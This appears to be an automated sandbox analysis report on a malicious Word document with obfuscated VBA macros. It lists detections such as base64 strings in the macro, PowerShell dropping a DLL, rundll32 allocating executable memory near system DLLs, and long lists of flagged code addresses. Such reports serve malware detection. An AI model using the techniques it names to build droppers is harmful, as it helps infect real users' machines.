Source: PACK.doc OLE, VBA macro line: Set JADCpjk = rEeiBJ.CreateTextFile("VxskFWpm:\cuyOFYrFJ\SZSlaGJZi.TeBYCDZ")
Source: PACK.doc OLE, VBA macro line: Set eUdbDAHHs = DyjPBI.CreateTextFile("OPLPBI:\fNyAExIq\jrtno.FyobBAAFE")
Source: PACK.doc OLE, VBA macro line: Set njKwJdA = XwZxsHCGt.CreateTextFile("TNJvoD:\walkrfAE\EalrWFWTE.wDSOEJ")
Source: PACK.doc OLE, VBA macro line: Set PmBxcD = rgBSB.CreateTextFile("PkeJHBJJH:\ODJMGCw\NefpJHvCX.XzgyeCQuA")
Source: PACK.doc OLE, VBA macro line: Set oOysMtDG = xCaTC.CreateTextFile("Oafyb:\RPNGMA\cmOgEyD.EEpGjE")
Source: PACK.doc OLE, VBA macro line: Set hiZkEEF = hSbDPCC.CreateTextFile("pygNv:\znIpFIR\yniMs.nmiIGDEDA")
Source: PACK.doc OLE, VBA macro line: Set UPhhYZEF = lEOlGYxK.CreateTextFile("sojcFeJ:\zxDxYHq\rNbtS.PtHuEEP")
Source: PACK.doc OLE, VBA macro line: Set bPFNuJ = VcIiQJFi.CreateTextFile("gNgYGZ:\CatdBMGGg\qGsdAdOQH.cJsxtdJE")
Source: PACK.doc OLE, VBA macro line: Set OBwIBy = QZjuH.CreateTextFile("EEGvGuF:\XrXnHGDDB\noadJZ.yGcKj")
Source: PACK.doc OLE, VBA macro line: Set EUMDPGt = UUoAB.CreateTextFile("XFtOCOULb:\dMKcFHF\GAGPCEp.ZPnnAM")
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set VJbwzTDT = ChWZVJiB.CreateTextFile("gMEpHB:\SKWvYCA\YtZqA.fQoAE") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set JhiYfXc = HnBvAEH.CreateTextFile("ehLoAm:\PAVZiAGU\jVPHv.fAgoFBYmC") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set DRrKpoA = xxYeFGUAH.CreateTextFile("eCzvxHN:\cgVnKGAT\YcnDi.YqiJOp") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set AybxtEBCJ = bGMXEIA.CreateTextFile("grPSDMS:\lQkJoR\aZMUgjGC.pVvhaH") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set uJSEDH = dLrgANHCG.CreateTextFile("lBasV:\tFGoGJd\zBuHfBCN.AHGggII") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set tcYiEMeRH = RNgUODjsM.CreateTextFile("FyNFG:\ugXUH\cZIFypIHj.tRULIINC") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set gQxBD = PAxhJ.CreateTextFile("dFVzNBE:\EBCOlEEOJ\KlKcJKk.SVIvoAEqG") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set RkPWCDPC = xkJxAAC.CreateTextFile("tLvao:\aGKUA\AhQhj.BDOQSJWG") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set JADCpjk = rEeiBJ.CreateTextFile("VxskFWpm:\cuyOFYrFJ\SZSlaGJZi.TeBYCDZ") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set eUdbDAHHs = DyjPBI.CreateTextFile("OPLPBI:\fNyAExIq\jrtno.FyobBAAFE") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set njKwJdA = XwZxsHCGt.CreateTextFile("TNJvoD:\walkrfAE\EalrWFWTE.wDSOEJ") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String createtextfile: Set PmBxcD = rgBSB.CreateTextFile("PkeJHBJJH:\ODJMGCw\NefpJHvCX.XzgyeCQuA") Name: Dn5440l_hb7
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set oOysMtDG = xCaTC.CreateTextFile("Oafyb:\RPNGMA\cmOgEyD.EEpGjE") Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set hiZkEEF = hSbDPCC.CreateTextFile("pygNv:\znIpFIR\yniMs.nmiIGDEDA") Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set UPhhYZEF = lEOlGYxK.CreateTextFile("sojcFeJ:\zxDxYHq\rNbtS.PtHuEEP") Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String createtextfile: Set bPFNuJ = VcIiQJFi.CreateTextFile("gNgYGZ:\CatdBMGGg\qGsdAdOQH.cJsxtdJE") Name: Bp63ahh3hb4hyq
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Y4o_ocvl0jti6oho0r, String createtextfile: Set OBwIBy = QZjuH.CreateTextFile("EEGvGuF:\XrXnHGDDB\noadJZ.yGcKj") Name: Y4o_ocvl0jti6oho0r
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Y4o_ocvl0jti6oho0r, String createtextfile: Set EUMDPGt = UUoAB.CreateTextFile("XFtOCOULb:\dMKcFHF\GAGPCEp.ZPnnAM") Name: Y4o_ocvl0jti6oho0r
Document contains an embedded VBA with base64 encoded strings
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String vRrzDEngIQvFPJfE
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String kWzGMzIVefGB
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Dn5440l_hb7, String TthascRlxHZH
Source: VBA code instrumentation OLE, VBA macro: Module Oi5oelv0_s4, Function Bp63ahh3hb4hyq, String utFMeJhUKJhJ
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\C3re5c3\Di_p3c9\O_5Z.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5293
Source: unknown Process created: Commandline size = 5197
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5197 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Cgjbbwbf\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1000976F 7_2_1000976F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022B41F 7_2_0022B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00222C63 7_2_00222C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00233895 7_2_00233895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022C0C6 7_2_0022C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022EE78 7_2_0022EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022568E 7_2_0022568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002302C3 7_2_002302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002342DA 7_2_002342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00228736 7_2_00228736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00227B63 7_2_00227B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00234B41 7_2_00234B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023340A 7_2_0023340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023687F 7_2_0023687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022F444 7_2_0022F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022E05A 7_2_0022E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023A0AF 7_2_0023A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002280BA 7_2_002280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002260B9 7_2_002260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002248BD 7_2_002248BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023889D 7_2_0023889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002288E5 7_2_002288E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00221CFA 7_2_00221CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002320C5 7_2_002320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00230D33 7_2_00230D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022F536 7_2_0022F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022153C 7_2_0022153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00237D03 7_2_00237D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022B112 7_2_0022B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023511B 7_2_0023511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00235D1D 7_2_00235D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00238D1C 7_2_00238D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002269A0 7_2_002269A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00236DB9 7_2_00236DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002361B8 7_2_002361B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00239586 7_2_00239586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022F98C 7_2_0022F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00227998 7_2_00227998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00226D9F 7_2_00226D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002331E2 7_2_002331E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002371EF 7_2_002371EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00222A30 7_2_00222A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00229A37 7_2_00229A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00224A35 7_2_00224A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00237A0F 7_2_00237A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00235A61 7_2_00235A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022EA4C 7_2_0022EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002262A3 7_2_002262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00221280 7_2_00221280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002312E2 7_2_002312E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002326F5 7_2_002326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002296CD 7_2_002296CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00238ADC 7_2_00238ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022BB3A 7_2_0022BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00230F0C 7_2_00230F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00232B16 7_2_00232B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00237F1F 7_2_00237F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022C769 7_2_0022C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00230B68 7_2_00230B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00231773 7_2_00231773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022E377 7_2_0022E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00228F78 7_2_00228F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00225B79 7_2_00225B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00239B45 7_2_00239B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00232349 7_2_00232349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00238F49 7_2_00238F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00226754 7_2_00226754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022B75F 7_2_0022B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002217AC 7_2_002217AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002373AC 7_2_002373AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0023878F 7_2_0023878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022839D 7_2_0022839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00233FE7 7_2_00233FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_0022D7EB 7_2_0022D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002367E9 7_2_002367E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_002363C1 7_2_002363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00231BDF 7_2_00231BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00229FDC 7_2_00229FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025B41F 8_2_0025B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00252C63 8_2_00252C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025EE78 8_2_0025EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025568E 8_2_0025568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00263895 8_2_00263895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025C0C6 8_2_0025C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002602C3 8_2_002602C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002642DA 8_2_002642DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00258736 8_2_00258736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00257B63 8_2_00257B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00264B41 8_2_00264B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002663C1 8_2_002663C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00254A35 8_2_00254A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00259A37 8_2_00259A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00252A30 8_2_00252A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00267A0F 8_2_00267A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026340A 8_2_0026340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00265A61 8_2_00265A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026687F 8_2_0026687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025F444 8_2_0025F444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025EA4C 8_2_0025EA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025E05A 8_2_0025E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002562A3 8_2_002562A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026A0AF 8_2_0026A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002548BD 8_2_002548BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002560B9 8_2_002560B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002580BA 8_2_002580BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00251280 8_2_00251280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026889D 8_2_0026889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002588E5 8_2_002588E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002612E2 8_2_002612E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002626F5 8_2_002626F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00251CFA 8_2_00251CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002620C5 8_2_002620C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002596CD 8_2_002596CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00268ADC 8_2_00268ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025F536 8_2_0025F536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00260D33 8_2_00260D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025153C 8_2_0025153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025BB3A 8_2_0025BB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00267D03 8_2_00267D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00260F0C 8_2_00260F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00262B16 8_2_00262B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025B112 8_2_0025B112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00267F1F 8_2_00267F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00268D1C 8_2_00268D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00265D1D 8_2_00265D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026511B 8_2_0026511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025C769 8_2_0025C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00260B68 8_2_00260B68
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025E377 8_2_0025E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00261773 8_2_00261773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00255B79 8_2_00255B79
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00258F78 8_2_00258F78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00269B45 8_2_00269B45
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00262349 8_2_00262349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00268F49 8_2_00268F49
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00256754 8_2_00256754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025B75F 8_2_0025B75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002569A0 8_2_002569A0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002517AC 8_2_002517AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002673AC 8_2_002673AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002661B8 8_2_002661B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00266DB9 8_2_00266DB9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00269586 8_2_00269586
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0026878F 8_2_0026878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025F98C 8_2_0025F98C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025839D 8_2_0025839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00256D9F 8_2_00256D9F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00257998 8_2_00257998
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00263FE7 8_2_00263FE7
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002631E2 8_2_002631E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002671EF 8_2_002671EF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_0025D7EB 8_2_0025D7EB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_002667E9 8_2_002667E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00261BDF 8_2_00261BDF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_00259FDC 8_2_00259FDC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB41F 9_2_001DB41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DEE78 9_2_001DEE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D2C63 9_2_001D2C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E3895 9_2_001E3895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D568E 9_2_001D568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E42DA 9_2_001E42DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DC0C6 9_2_001DC0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E02C3 9_2_001E02C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D8736 9_2_001D8736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E4B41 9_2_001E4B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D7B63 9_2_001D7B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E63C1 9_2_001E63C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7A0F 9_2_001E7A0F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E340A 9_2_001E340A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D4A35 9_2_001D4A35
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D9A37 9_2_001D9A37
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D2A30 9_2_001D2A30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DE05A 9_2_001DE05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DEA4C 9_2_001DEA4C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF444 9_2_001DF444
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E687F 9_2_001E687F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5A61 9_2_001E5A61
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E889D 9_2_001E889D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D1280 9_2_001D1280
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D48BD 9_2_001D48BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D60B9 9_2_001D60B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D80BA 9_2_001D80BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001EA0AF 9_2_001EA0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D62A3 9_2_001D62A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8ADC 9_2_001E8ADC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D96CD 9_2_001D96CD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E20C5 9_2_001E20C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D1CFA 9_2_001D1CFA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E26F5 9_2_001E26F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D88E5 9_2_001D88E5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E12E2 9_2_001E12E2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7F1F 9_2_001E7F1F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E8D1C 9_2_001E8D1C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E5D1D 9_2_001E5D1D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E511B 9_2_001E511B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E2B16 9_2_001E2B16
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB112 9_2_001DB112
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0F0C 9_2_001E0F0C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E7D03 9_2_001E7D03
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D153C 9_2_001D153C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DBB3A 9_2_001DBB3A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DF536 9_2_001DF536
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001E0D33 9_2_001E0D33
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001DB75F 9_2_001DB75F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_001D6754 9_2_001D6754
